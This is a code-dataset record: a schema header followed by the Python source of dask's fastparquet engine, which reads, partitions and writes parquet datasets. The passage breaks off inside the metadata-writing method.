hexsha stringlengths 40 40 | size int64 2 1.02M | ext stringclasses 10
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 245 | max_stars_repo_name stringlengths 6 130 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 245 | max_issues_repo_name stringlengths 6 130 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 67k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 245 | max_forks_repo_name stringlengths 6 130 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 2 1.02M | avg_line_length float64 1 417k | max_line_length int64 1 987k | alphanum_fraction float64 0 1 | content_no_comment stringlengths 0 1.01M | is_comment_constant_removed bool 1
class | is_sharp_comment_removed bool 1
class |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
f725f37fb53556a224003a62cbca39f0bc36a66e | 47,357 | py | Python | dask/dataframe/io/parquet/fastparquet.py | ParticularMiner/dask | f40ef97ac802efb6d8bef03b03c6357cf871bc0a | [
"BSD-3-Clause"
] | null | null | null | dask/dataframe/io/parquet/fastparquet.py | ParticularMiner/dask | f40ef97ac802efb6d8bef03b03c6357cf871bc0a | [
"BSD-3-Clause"
] | null | null | null | dask/dataframe/io/parquet/fastparquet.py | ParticularMiner/dask | f40ef97ac802efb6d8bef03b03c6357cf871bc0a | [
"BSD-3-Clause"
] | null | null | null | import copy
import pickle
import threading
import warnings
from collections import OrderedDict, defaultdict
from contextlib import ExitStack
import numpy as np
import pandas as pd
import tlz as toolz
from packaging.version import parse as parse_version
from dask.core import flatten
try:
import fastparquet
from fastparquet import ParquetFile
from fastparquet.util import ex_from_sep, get_file_scheme, groupby_types, val_to_num
from fastparquet.writer import make_part_file, partition_on_columns
except ImportError:
pass
from dask.base import tokenize
#########################
# Fastparquet interface #
#########################
from dask.dataframe.io.parquet.utils import (
Engine,
_get_aggregation_depth,
_normalize_index_columns,
_parse_pandas_metadata,
_process_open_file_options,
_row_groups_to_parts,
_set_gather_statistics,
_set_metadata_task_size,
_sort_and_analyze_paths,
_split_user_options,
)
from dask.dataframe.io.utils import _is_local_fs, _meta_from_dtypes, _open_input_files
from dask.dataframe.utils import UNKNOWN_CATEGORIES
from dask.delayed import Delayed
from dask.utils import natural_sort_key
# Thread lock required to reset row-groups
_FP_FILE_LOCK = threading.RLock()
def _paths_to_cats(paths, file_scheme):
"""
Extract categorical fields and labels from hive- or drill-style paths.
FixMe: This has been pasted from https://github.com/dask/fastparquet/pull/471
Use fastparquet.api.paths_to_cats from fastparquet>0.3.2 instead.
Parameters
----------
paths (Iterable[str]): file paths relative to root
file_scheme (str):
Returns
-------
cats (OrderedDict[str, List[Any]]): a dict of field names and their values
"""
if file_scheme in ["simple", "flat", "other"]:
cats = {}
return cats
cats = OrderedDict()
raw_cats = OrderedDict()
s = ex_from_sep("/")
paths = toolz.unique(paths)
if file_scheme == "hive":
partitions = toolz.unique((k, v) for path in paths for k, v in s.findall(path))
for key, val in partitions:
cats.setdefault(key, set()).add(val_to_num(val))
raw_cats.setdefault(key, set()).add(val)
else:
i_val = toolz.unique(
(i, val) for path in paths for i, val in enumerate(path.split("/")[:-1])
)
for i, val in i_val:
key = "dir%i" % i
cats.setdefault(key, set()).add(val_to_num(val))
raw_cats.setdefault(key, set()).add(val)
for key, v in cats.items():
# Check that no partition names map to the same value after transformation by val_to_num
raw = raw_cats[key]
if len(v) != len(raw):
conflicts_by_value = OrderedDict()
for raw_val in raw_cats[key]:
conflicts_by_value.setdefault(val_to_num(raw_val), set()).add(raw_val)
conflicts = [
c for k in conflicts_by_value.values() if len(k) > 1 for c in k
]
raise ValueError("Partition names map to the same value: %s" % conflicts)
vals_by_type = groupby_types(v)
# Check that all partition names map to the same type after transformation by val_to_num
if len(vals_by_type) > 1:
examples = [x[0] for x in vals_by_type.values()]
warnings.warn(
"Partition names coerce to values of different types, e.g. %s"
% examples
)
cats = OrderedDict([(key, list(v)) for key, v in cats.items()])
return cats
paths_to_cats = (
_paths_to_cats # FixMe: use fastparquet.api.paths_to_cats for fastparquet>0.3.2
)
class FastParquetEngine(Engine):
@classmethod
def _organize_row_groups(
cls,
pf,
split_row_groups,
gather_statistics,
stat_col_indices,
filters,
dtypes,
base_path,
has_metadata_file,
chunksize,
aggregation_depth,
):
"""Organize row-groups by file."""
# Get partitioning metadata
pqpartitions = list(pf.cats)
# Fastparquet does not use a natural sorting
# order for partitioned data. Re-sort by path
if (
pqpartitions
and aggregation_depth
and pf.row_groups
and pf.row_groups[0].columns[0].file_path
):
pf.row_groups = sorted(
pf.row_groups,
key=lambda x: natural_sort_key(x.columns[0].file_path),
)
# Store types specified in pandas metadata
pandas_type = {}
if pf.row_groups and pf.pandas_metadata:
for c in pf.pandas_metadata.get("columns", []):
if "field_name" in c:
pandas_type[c["field_name"]] = c.get("pandas_type", None)
# Get the number of row groups per file
single_rg_parts = int(split_row_groups) == 1
file_row_groups = defaultdict(list)
file_row_group_stats = defaultdict(list)
file_row_group_column_stats = defaultdict(list)
cmax_last = {}
for rg, row_group in enumerate(pf.row_groups):
# We can filter partition columns here without dealing
# with statistics
if (
pqpartitions
and filters
and fastparquet.api.filter_out_cats(row_group, filters)
):
continue
# NOTE: Here we assume that all column chunks are stored
# in the same file. This is not strictly required by the
# parquet spec.
fp = row_group.columns[0].file_path
fpath = fp.decode() if isinstance(fp, bytes) else fp
if fpath is None:
if not has_metadata_file:
# There doesn't need to be a file_path if the
# row group is in the same file as the metadata.
# Assume this is a single-file dataset.
fpath = pf.fn
base_path = base_path or ""
else:
raise ValueError(
"Global metadata structure is missing a file_path string. "
"If the dataset includes a _metadata file, that file may "
"have one or more missing file_path fields."
)
# Append a tuple to file_row_groups. This tuple will
# be structured as: `(<local-row-group-id>, <global-row-group-id>)`
if file_row_groups[fpath]:
file_row_groups[fpath].append((file_row_groups[fpath][-1][0] + 1, rg))
else:
file_row_groups[fpath].append((0, rg))
if gather_statistics:
if single_rg_parts:
s = {
"file_path_0": fpath,
"num-rows": row_group.num_rows,
"total_byte_size": row_group.total_byte_size,
"columns": [],
}
else:
s = {
"num-rows": row_group.num_rows,
"total_byte_size": row_group.total_byte_size,
}
cstats = []
for name, i in stat_col_indices.items():
column = row_group.columns[i]
if column.meta_data.statistics:
cmin = None
cmax = None
# TODO: Avoid use of `pf.statistics`
if pf.statistics["min"][name][0] is not None:
cmin = pf.statistics["min"][name][rg]
cmax = pf.statistics["max"][name][rg]
elif dtypes[name] == "object":
cmin = column.meta_data.statistics.min_value
cmax = column.meta_data.statistics.max_value
# Older versions may not have cmin/cmax_value
if cmin is None:
cmin = column.meta_data.statistics.min
if cmax is None:
cmax = column.meta_data.statistics.max
# Decode bytes as long as "bytes" is not the
# expected `pandas_type` for this column
if (
isinstance(cmin, (bytes, bytearray))
and pandas_type.get(name, None) != "bytes"
):
cmin = cmin.decode("utf-8")
cmax = cmax.decode("utf-8")
if isinstance(cmin, np.datetime64):
tz = getattr(dtypes[name], "tz", None)
cmin = pd.Timestamp(cmin, tz=tz)
cmax = pd.Timestamp(cmax, tz=tz)
last = cmax_last.get(name, None)
if not (filters or chunksize or aggregation_depth):
# Only think about bailing if we don't need
# stats for filtering
if cmin is None or (last and cmin < last):
# We are collecting statistics for divisions
# only (no filters) - Column isn't sorted, or
# we have an all-null partition, so lets bail.
#
# Note: This assumes ascending order.
#
gather_statistics = False
file_row_group_stats = {}
file_row_group_column_stats = {}
break
if single_rg_parts:
s["columns"].append(
{
"name": name,
"min": cmin,
"max": cmax,
}
)
else:
cstats += [cmin, cmax]
cmax_last[name] = cmax
else:
if (
not (filters or chunksize or aggregation_depth)
and column.meta_data.num_values > 0
):
# We are collecting statistics for divisions
# only (no filters) - Lets bail.
gather_statistics = False
file_row_group_stats = {}
file_row_group_column_stats = {}
break
if single_rg_parts:
s["columns"].append({"name": name})
else:
cstats += [None, None, None]
if gather_statistics:
file_row_group_stats[fpath].append(s)
if not single_rg_parts:
file_row_group_column_stats[fpath].append(tuple(cstats))
return (
file_row_groups,
file_row_group_stats,
file_row_group_column_stats,
gather_statistics,
base_path,
)
@classmethod
def _get_thrift_row_groups(
cls,
pf,
filename,
row_groups,
):
"""Turn a set of row-groups into bytes-serialized form
using thrift via pickle.
"""
real_row_groups = []
for rg, rg_global in row_groups:
row_group = pf.row_groups[rg_global]
columns = row_group.columns
for c, col in enumerate(columns):
if c:
col.file_path = None
md = col.meta_data
md.key_value_metadata = None
# NOTE: Fastparquet may need the null count in the
# statistics, so we cannot just set statistics
# to none. Set attributes separately:
st = md.statistics
if st:
st.distinct_count = None
st.max = None
st.min = None
st.max_value = None
st.min_value = None
md.encodings = None
md.total_uncompressed_size = None
md.encoding_stats = None
row_group.columns = columns
real_row_groups.append(row_group)
return real_row_groups
@classmethod
def _make_part(
cls,
filename,
rg_list,
fs=None,
pf=None,
base_path=None,
partitions=None,
):
"""Generate a partition-specific element of `parts`."""
if partitions:
real_row_groups = cls._get_thrift_row_groups(
pf,
filename,
rg_list,
)
part = {"piece": (real_row_groups,)}
else:
# Get full path (empty strings should be ignored)
full_path = fs.sep.join([p for p in [base_path, filename] if p != ""])
row_groups = [rg[0] for rg in rg_list] # Don't need global IDs
part = {"piece": (full_path, row_groups)}
return part
@classmethod
def _collect_dataset_info(
cls,
paths,
fs,
categories,
index,
gather_statistics,
filters,
split_row_groups,
chunksize,
aggregate_files,
ignore_metadata_file,
metadata_task_size,
parquet_file_extension,
kwargs,
):
# Define the parquet-file (pf) object to use for metadata,
# Also, initialize `parts`. If `parts` is populated here,
# then each part will correspond to a file. Otherwise, each part will
# correspond to a row group (populated later).
# Extract "supported" key-word arguments from `kwargs`.
# Split items into `dataset_kwargs` and `read_kwargs`
dataset_kwargs, read_kwargs, user_kwargs = _split_user_options(**kwargs)
parts = []
_metadata_exists = False
if len(paths) == 1 and fs.isdir(paths[0]):
# This is a directory.
# Check if _metadata and/or _common_metadata files exists
base = paths[0]
_metadata_exists = True
if not ignore_metadata_file:
_metadata_exists = fs.isfile(fs.sep.join([base, "_metadata"]))
# Find all files if we are not using a _metadata file
if ignore_metadata_file or not _metadata_exists:
# For now, we need to discover every file under paths[0]
paths, base, fns = _sort_and_analyze_paths(fs.find(base), fs)
_update_paths = False
for fn in ["_metadata", "_common_metadata"]:
try:
fns.remove(fn)
_update_paths = True
except ValueError:
pass
if _update_paths:
paths = [fs.sep.join([base, fn]) for fn in fns]
_metadata_exists = False
if _metadata_exists:
# Using _metadata file (best-case scenario)
pf = ParquetFile(
fs.sep.join([base, "_metadata"]),
open_with=fs.open,
**dataset_kwargs,
)
else:
# Use 0th file
# Note that "_common_metadata" can cause issues for
# partitioned datasets.
if parquet_file_extension:
# Raise error if all files have been filtered by extension
len0 = len(paths)
paths = [
path for path in paths if path.endswith(parquet_file_extension)
]
if len0 and paths == []:
raise ValueError(
"No files satisfy the `parquet_file_extension` criteria "
f"(files must end with {parquet_file_extension})."
)
pf = ParquetFile(
paths[:1], open_with=fs.open, root=base, **dataset_kwargs
)
scheme = get_file_scheme(fns)
pf.file_scheme = scheme
pf.cats = paths_to_cats(fns, scheme)
if not gather_statistics:
parts = [fs.sep.join([base, fn]) for fn in fns]
else:
# This is a list of files
paths, base, fns = _sort_and_analyze_paths(paths, fs)
# Check if _metadata is in paths, and
# remove it if ignore_metadata_file=True
_metadata_exists = "_metadata" in fns
if _metadata_exists and ignore_metadata_file:
fns.remove("_metadata")
_metadata_exists = False
paths = [fs.sep.join([base, fn]) for fn in fns]
if _metadata_exists:
# We have a _metadata file, lets use it
pf = ParquetFile(
fs.sep.join([base, "_metadata"]),
open_with=fs.open,
**dataset_kwargs,
)
else:
# Rely on metadata for 0th file.
# Will need to pass a list of paths to read_partition
scheme = get_file_scheme(fns)
pf = ParquetFile(
paths[:1], open_with=fs.open, root=base, **dataset_kwargs
)
pf.file_scheme = scheme
pf.cats = paths_to_cats(fns, scheme)
if not gather_statistics:
parts = paths.copy()
# Check the `aggregate_files` setting
aggregation_depth = _get_aggregation_depth(
aggregate_files,
list(pf.cats),
)
# Ensure that there is no overlap between partition columns
# and explicit columns in `pf`
if pf.cats:
_partitions = [p for p in pf.cats if p not in pf.columns]
if not _partitions:
pf.cats = {}
elif len(_partitions) != len(pf.cats):
raise ValueError(
"No partition-columns should be written in the \n"
"file unless they are ALL written in the file.\n"
"columns: {} | partitions: {}".format(pf.columns, pf.cats.keys())
)
return {
"pf": pf,
"paths": paths,
"has_metadata_file": _metadata_exists,
"parts": parts,
"base": base,
"fs": fs,
"gather_statistics": gather_statistics,
"categories": categories,
"index": index,
"filters": filters,
"split_row_groups": split_row_groups,
"chunksize": chunksize,
"aggregate_files": aggregate_files,
"aggregation_depth": aggregation_depth,
"metadata_task_size": metadata_task_size,
"kwargs": {
"dataset": dataset_kwargs,
"read": read_kwargs,
**user_kwargs,
},
}
@classmethod
def _create_dd_meta(cls, dataset_info):
# Collect necessary information from dataset_info
pf = dataset_info["pf"]
index = dataset_info["index"]
categories = dataset_info["categories"]
columns = None
pandas_md = pf.pandas_metadata
if pandas_md:
(
index_names,
column_names,
storage_name_mapping,
column_index_names,
) = _parse_pandas_metadata(pandas_md)
# auto-ranges should not be created by fastparquet
column_names.extend(pf.cats)
else:
index_names = []
column_names = pf.columns + list(pf.cats)
storage_name_mapping = {k: k for k in column_names}
column_index_names = [None]
if index is None and len(index_names) > 0:
if len(index_names) == 1 and index_names[0] is not None:
index = index_names[0]
else:
index = index_names
# Normalize user inputs
column_names, index_names = _normalize_index_columns(
columns, column_names, index, index_names
)
all_columns = index_names + column_names
categories_dict = None
if isinstance(categories, dict):
categories_dict = categories
if categories is None:
categories = pf.categories
elif isinstance(categories, str):
categories = [categories]
else:
categories = list(categories)
# Check that categories are included in columns
if categories and not set(categories).intersection(all_columns):
raise ValueError(
"categories not in available columns.\n"
"categories: {} | columns: {}".format(categories, list(all_columns))
)
dtypes = pf._dtypes(categories)
dtypes = {storage_name_mapping.get(k, k): v for k, v in dtypes.items()}
index_cols = index or ()
if isinstance(index_cols, str):
index_cols = [index_cols]
for ind in index_cols:
if getattr(dtypes.get(ind), "numpy_dtype", None):
# index does not support masked types
dtypes[ind] = dtypes[ind].numpy_dtype
for cat in categories:
if cat in all_columns:
dtypes[cat] = pd.CategoricalDtype(categories=[UNKNOWN_CATEGORIES])
for catcol in pf.cats:
if catcol in all_columns:
dtypes[catcol] = pd.CategoricalDtype(categories=pf.cats[catcol])
meta = _meta_from_dtypes(all_columns, dtypes, index_cols, column_index_names)
# Update `dataset_info` and return `meta`
dataset_info["dtypes"] = dtypes
dataset_info["index"] = index
dataset_info["index_cols"] = index_cols
dataset_info["categories"] = categories
dataset_info["categories_dict"] = categories_dict
return meta
@classmethod
def _construct_collection_plan(cls, dataset_info):
# Collect necessary information from dataset_info
fs = dataset_info["fs"]
parts = dataset_info["parts"]
paths = dataset_info["paths"]
filters = dataset_info["filters"]
pf = dataset_info["pf"]
split_row_groups = dataset_info["split_row_groups"]
chunksize = dataset_info["chunksize"]
gather_statistics = dataset_info["gather_statistics"]
base_path = dataset_info["base"]
aggregation_depth = dataset_info["aggregation_depth"]
index_cols = dataset_info["index_cols"]
categories = dataset_info["categories"]
dtypes = dataset_info["dtypes"]
categories_dict = dataset_info["categories_dict"]
has_metadata_file = dataset_info["has_metadata_file"]
metadata_task_size = dataset_info["metadata_task_size"]
kwargs = dataset_info["kwargs"]
# Ensure metadata_task_size is set
# (Using config file or defaults)
metadata_task_size = _set_metadata_task_size(
dataset_info["metadata_task_size"], fs
)
# Determine which columns need statistics.
# At this point, gather_statistics is only True if
# the user specified calculate_divisions=True
filter_columns = {t[0] for t in flatten(filters or [], container=list)}
stat_col_indices = {}
_index_cols = index_cols if (gather_statistics and len(index_cols) == 1) else []
for i, name in enumerate(pf.columns):
if name in _index_cols or name in filter_columns:
stat_col_indices[name] = i
# Decide final `gather_statistics` setting.
# NOTE: The "fastparquet" engine requires statistics for
# filtering even if the filter is on a paritioned column
gather_statistics = _set_gather_statistics(
gather_statistics,
chunksize,
split_row_groups,
aggregation_depth,
filter_columns,
set(stat_col_indices) | filter_columns,
)
# Define common_kwargs
common_kwargs = {
"categories": categories_dict or categories,
"root_cats": pf.cats,
"root_file_scheme": pf.file_scheme,
"base_path": base_path,
**kwargs,
}
# Check if this is a very simple case where we can just
# return the path names. This requires that `parts`
# already be a list of paths. Also, we cannot be splitting
# by row-group or collecting statistics.
if (
gather_statistics is False
and not split_row_groups
and isinstance(parts, list)
and len(parts)
and isinstance(parts[0], str)
):
return (
[{"piece": (full_path, None)} for full_path in parts],
[],
common_kwargs,
)
dataset_info_kwargs = {
"fs": fs,
"split_row_groups": split_row_groups,
"gather_statistics": gather_statistics,
"filters": filters,
"dtypes": dtypes,
"stat_col_indices": stat_col_indices,
"aggregation_depth": aggregation_depth,
"chunksize": chunksize,
"root_cats": pf.cats,
"root_file_scheme": pf.file_scheme,
"base_path": "" if base_path is None else base_path,
"has_metadata_file": has_metadata_file,
}
if (
has_metadata_file
or metadata_task_size == 0
or metadata_task_size > len(paths)
):
# Construct the output-partitioning plan on the
# client process (in serial). This means we have
# a global _metadata file, or that `metadata_task_size`
# is zero or larger than the number of files.
pf_or_paths = pf if has_metadata_file else paths
parts, stats = cls._collect_file_parts(pf_or_paths, dataset_info_kwargs)
else:
# We DON'T have a global _metadata file to work with.
# We should loop over files in parallel
parts, stats = [], []
if paths:
# Build and compute a task graph to construct stats/parts
gather_parts_dsk = {}
name = "gather-pq-parts-" + tokenize(paths, dataset_info_kwargs)
finalize_list = []
for task_i, file_i in enumerate(
range(0, len(paths), metadata_task_size)
):
finalize_list.append((name, task_i))
gather_parts_dsk[finalize_list[-1]] = (
cls._collect_file_parts,
paths[file_i : file_i + metadata_task_size],
dataset_info_kwargs,
)
def _combine_parts(parts_and_stats):
parts, stats = [], []
for part, stat in parts_and_stats:
parts += part
if stat:
stats += stat
return parts, stats
gather_parts_dsk["final-" + name] = (_combine_parts, finalize_list)
parts, stats = Delayed("final-" + name, gather_parts_dsk).compute()
return parts, stats, common_kwargs
@classmethod
def _collect_file_parts(
cls,
pf_or_files,
dataset_info_kwargs,
):
# Collect necessary information from dataset_info
fs = dataset_info_kwargs["fs"]
split_row_groups = dataset_info_kwargs["split_row_groups"]
gather_statistics = dataset_info_kwargs["gather_statistics"]
stat_col_indices = dataset_info_kwargs["stat_col_indices"]
filters = dataset_info_kwargs["filters"]
dtypes = dataset_info_kwargs["dtypes"]
chunksize = dataset_info_kwargs["chunksize"]
aggregation_depth = dataset_info_kwargs["aggregation_depth"]
base_path = dataset_info_kwargs.get("base_path", None)
root_cats = dataset_info_kwargs.get("root_cats", None)
root_file_scheme = dataset_info_kwargs.get("root_file_scheme", None)
has_metadata_file = dataset_info_kwargs["has_metadata_file"]
# Get ParquetFile
if not isinstance(pf_or_files, fastparquet.api.ParquetFile):
# Construct local `ParquetFile` object
pf = ParquetFile(
pf_or_files,
open_with=fs.open,
root=base_path,
)
# Update hive-partitioning to match global cats/scheme
pf.cats = root_cats or {}
if root_cats:
pf.file_scheme = root_file_scheme
else:
# We already have a ParquetFile object to work with
pf = pf_or_files
# Organize row-groups by file
(
file_row_groups,
file_row_group_stats,
file_row_group_column_stats,
gather_statistics,
base_path,
) = cls._organize_row_groups(
pf,
split_row_groups,
gather_statistics,
stat_col_indices,
filters,
dtypes,
base_path,
has_metadata_file,
chunksize,
aggregation_depth,
)
# Convert organized row-groups to parts
parts, stats = _row_groups_to_parts(
gather_statistics,
split_row_groups,
aggregation_depth,
file_row_groups,
file_row_group_stats,
file_row_group_column_stats,
stat_col_indices,
cls._make_part,
make_part_kwargs={
"fs": fs,
"pf": pf,
"base_path": base_path,
"partitions": list(pf.cats),
},
)
return parts, stats
@classmethod
def read_metadata(
cls,
fs,
paths,
categories=None,
index=None,
gather_statistics=None,
filters=None,
split_row_groups=False,
chunksize=None,
aggregate_files=None,
ignore_metadata_file=False,
metadata_task_size=None,
parquet_file_extension=None,
**kwargs,
):
# Stage 1: Collect general dataset information
dataset_info = cls._collect_dataset_info(
paths,
fs,
categories,
index,
gather_statistics,
filters,
split_row_groups,
chunksize,
aggregate_files,
ignore_metadata_file,
metadata_task_size,
parquet_file_extension,
kwargs,
)
# Stage 2: Generate output `meta`
meta = cls._create_dd_meta(dataset_info)
# Stage 3: Generate parts and stats
parts, stats, common_kwargs = cls._construct_collection_plan(dataset_info)
# Cannot allow `None` in columns if the user has specified index=False
index = dataset_info["index"]
if index is False and None in meta.columns:
meta.drop(columns=[None], inplace=True)
# Add `common_kwargs` to the first element of `parts`.
# We can return as a separate element in the future, but
# should avoid breaking the API for now.
if len(parts):
parts[0]["common_kwargs"] = common_kwargs
parts[0]["aggregation_depth"] = dataset_info["aggregation_depth"]
if len(parts) and len(parts[0]["piece"]) == 1:
# Strip all partition-dependent or unnecessary
# data from the `ParquetFile` object
pf = dataset_info["pf"]
pf.row_groups = None
pf.fmd.row_groups = None
pf._statistics = None
parts[0]["common_kwargs"]["parquet_file"] = pf
return (meta, stats, parts, index)
@classmethod
def multi_support(cls):
return cls == FastParquetEngine
@classmethod
def read_partition(
cls,
fs,
pieces,
columns,
index,
categories=(),
root_cats=None,
root_file_scheme=None,
base_path=None,
**kwargs,
):
null_index_name = False
base_path = False if not root_cats else base_path
if isinstance(index, list):
if index == [None]:
# Handling a None-labeled index...
# The pandas metadata told us to read in an index
# labeled `None`. If this corresponds to a `RangeIndex`,
# fastparquet will need use the pandas metadata to
# construct the index. Otherwise, the index will correspond
# to a column named "__index_level_0__". We will need to
# check the `ParquetFile` object for this column below.
index = []
null_index_name = True
columns += index
# Use global `parquet_file` object. Need to reattach
# the desired row_group
parquet_file = kwargs.pop("parquet_file", None)
# Always convert pieces to list
if not isinstance(pieces, list):
pieces = [pieces]
sample = pieces[0]
if isinstance(sample, tuple):
if isinstance(sample[0], str):
# We have paths to read from
assert parquet_file is None
row_groups = []
rg_offset = 0
parquet_file = ParquetFile(
[p[0] for p in pieces],
open_with=fs.open,
root=base_path or False,
**kwargs.get("dataset", {}),
)
for piece in pieces:
_pf = (
parquet_file
if len(pieces) == 1
else ParquetFile(
piece[0],
open_with=fs.open,
root=base_path or False,
**kwargs.get("dataset", {}),
)
)
n_local_row_groups = len(_pf.row_groups)
local_rg_indices = piece[1] or list(range(n_local_row_groups))
row_groups += [
parquet_file.row_groups[rg + rg_offset]
for rg in local_rg_indices
]
rg_offset += n_local_row_groups
update_parquet_file = len(row_groups) < len(parquet_file.row_groups)
elif parquet_file:
row_groups = []
for piece in pieces:
# `piece[1]` will contain actual row-group objects,
# but they may be pickled
rgs = piece[0]
if isinstance(rgs, bytes):
rgs = pickle.loads(rgs)
row_groups += rgs
update_parquet_file = True
else:
raise ValueError("Neither path nor ParquetFile detected!")
if update_parquet_file:
with _FP_FILE_LOCK:
for rg in row_groups:
for chunk in rg.columns:
s = chunk.file_path
if s and isinstance(s, bytes):
chunk.file_path = s.decode()
parquet_file.fmd.row_groups = row_groups
# NOTE: May lose cats after `_set_attrs` call
save_cats = parquet_file.cats
parquet_file._set_attrs()
parquet_file.cats = save_cats
if null_index_name:
if "__index_level_0__" in parquet_file.columns:
# See "Handling a None-labeled index" comment above
index = ["__index_level_0__"]
columns += index
# Update hive-partitioning information if necessary
parquet_file.cats = root_cats or {}
if root_cats:
parquet_file.file_scheme = root_file_scheme
parquet_file._dtypes = (
lambda *args: parquet_file.dtypes
) # ugly patch, could be fixed
# Convert ParquetFile to pandas
return cls.pf_to_pandas(
parquet_file,
fs=fs,
columns=columns,
categories=categories,
index=index,
**kwargs.get("read", {}),
)
else:
# `sample` is NOT a tuple
raise ValueError(f"Expected tuple, got {type(sample)}")
@classmethod
def pf_to_pandas(
cls,
pf,
fs=None,
columns=None,
categories=None,
index=None,
open_file_options=None,
**kwargs,
):
# This method was mostly copied from the fastparquet
# `ParquetFile.to_pandas` definition. We maintain our
# own implmentation in Dask to enable better remote
# file-handling control
# Handle selected columns
if columns is not None:
columns = columns[:]
else:
columns = pf.columns + list(pf.cats)
if index:
columns += [i for i in index if i not in columns]
# Extract row-groups and pre-allocate df
rgs = pf.row_groups
size = sum(rg.num_rows for rg in rgs)
df, views = pf.pre_allocate(size, columns, categories, index)
start = 0
# Get a map of file names -> row-groups
fn_rg_map = defaultdict(list)
for rg in rgs:
fn = pf.row_group_filename(rg)
fn_rg_map[fn].append(rg)
# Define file-opening options
precache_options, open_file_options = _process_open_file_options(
open_file_options,
**(
{
"allow_precache": False,
"default_cache": "readahead",
}
if _is_local_fs(fs)
else {
"metadata": pf,
"columns": list(set(columns).intersection(pf.columns)),
"row_groups": [rgs for rgs in fn_rg_map.values()],
"default_engine": "fastparquet",
"default_cache": "readahead",
}
),
)
with ExitStack() as stack:
for fn, infile in zip(
fn_rg_map.keys(),
_open_input_files(
list(fn_rg_map.keys()),
fs=fs,
context_stack=stack,
precache_options=precache_options,
**open_file_options,
),
):
for rg in fn_rg_map[fn]:
thislen = rg.num_rows
parts = {
name: (
v
if name.endswith("-catdef")
else v[start : start + thislen]
)
for (name, v) in views.items()
}
# Add row-group data to df
pf.read_row_group_file(
rg,
columns,
categories,
index,
assign=parts,
partition_meta=pf.partition_meta,
infile=infile,
**kwargs,
)
start += thislen
return df
@classmethod
def initialize_write(
cls,
df,
fs,
path,
append=False,
partition_on=None,
ignore_divisions=False,
division_info=None,
schema=None,
object_encoding="utf8",
index_cols=None,
custom_metadata=None,
**kwargs,
):
if index_cols is None:
index_cols = []
if append and division_info is None:
ignore_divisions = True
fs.mkdirs(path, exist_ok=True)
if object_encoding == "infer" or (
isinstance(object_encoding, dict) and "infer" in object_encoding.values()
):
raise ValueError(
'"infer" not allowed as object encoding, '
"because this required data in memory."
)
metadata_file_exists = False
if append:
try:
# to append to a dataset without _metadata, need to load
# _common_metadata or any data file here
pf = fastparquet.api.ParquetFile(path, open_with=fs.open)
metadata_file_exists = fs.exists(fs.sep.join([path, "_metadata"]))
except (OSError, ValueError):
# append for create
append = False
if append:
if pf.file_scheme not in ["hive", "empty", "flat"]:
raise ValueError(
"Requested file scheme is hive, but existing file scheme is not."
)
elif (set(pf.columns) != set(df.columns) - set(partition_on)) or (
set(partition_on) != set(pf.cats)
):
raise ValueError(
"Appended columns not the same.\n"
"Previous: {} | New: {}".format(pf.columns, list(df.columns))
)
elif (pd.Series(pf.dtypes).loc[pf.columns] != df[pf.columns].dtypes).any():
raise ValueError(
"Appended dtypes differ.\n{}".format(
set(pf.dtypes.items()) ^ set(df.dtypes.items())
)
)
else:
df = df[pf.columns + partition_on]
fmd = pf.fmd
i_offset = fastparquet.writer.find_max_part(fmd.row_groups)
if not ignore_divisions:
if not set(index_cols).intersection([division_info["name"]]):
ignore_divisions = True
if not ignore_divisions:
minmax = fastparquet.api.sorted_partitioned_columns(pf)
# If fastparquet detects that a partitioned column isn't sorted, it won't
# appear in the resulting min/max dictionary
old_end = (
minmax[index_cols[0]]["max"][-1]
if index_cols[0] in minmax
else None
)
divisions = division_info["divisions"]
if old_end is None or divisions[0] <= old_end:
raise ValueError(
"Appended divisions overlapping with previous ones."
"\n"
"Previous: {} | New: {}".format(old_end, divisions[0])
)
else:
fmd = fastparquet.writer.make_metadata(
df._meta,
object_encoding=object_encoding,
index_cols=index_cols,
ignore_columns=partition_on,
**kwargs,
)
i_offset = 0
if custom_metadata is not None:
kvm = fmd.key_value_metadata or []
kvm.extend(
[
fastparquet.parquet_thrift.KeyValue(key=key, value=value)
for key, value in custom_metadata.items()
]
)
fmd.key_value_metadata = kvm
extra_write_kwargs = {"fmd": fmd}
return i_offset, fmd, metadata_file_exists, extra_write_kwargs
@classmethod
def write_partition(
cls,
df,
path,
fs,
filename,
partition_on,
return_metadata,
fmd=None,
compression=None,
custom_metadata=None,
**kwargs,
):
# Update key/value metadata if necessary
fmd = copy.copy(fmd)
for s in fmd.schema:
if isinstance(s.name, bytes):
# can be coerced to bytes on copy
s.name = s.name.decode()
if custom_metadata and fmd is not None:
fmd.key_value_metadata = fmd.key_value_metadata + (
[
fastparquet.parquet_thrift.KeyValue(key=key, value=value)
for key, value in custom_metadata.items()
]
)
if not len(df):
# Write nothing for empty partitions
rgs = []
elif partition_on:
mkdirs = lambda x: fs.mkdirs(x, exist_ok=True)
if parse_version(fastparquet.__version__) >= parse_version("0.1.4"):
rgs = partition_on_columns(
df, partition_on, path, filename, fmd, compression, fs.open, mkdirs
)
else:
rgs = partition_on_columns(
df,
partition_on,
path,
filename,
fmd,
fs.sep,
compression,
fs.open,
mkdirs,
)
else:
with fs.open(fs.sep.join([path, filename]), "wb") as fil:
fmd.num_rows = len(df)
rg = make_part_file(
fil, df, fmd.schema, compression=compression, fmd=fmd
)
for chunk in rg.columns:
chunk.file_path = filename
rgs = [rg]
if return_metadata:
return rgs
else:
return []
@classmethod
def write_metadata(cls, parts, meta, fs, path, append=False, **kwargs):
_meta = copy.copy(meta)
rgs = meta.row_groups
if parts:
for rg in parts:
if rg is not None:
if isinstance(rg, list):
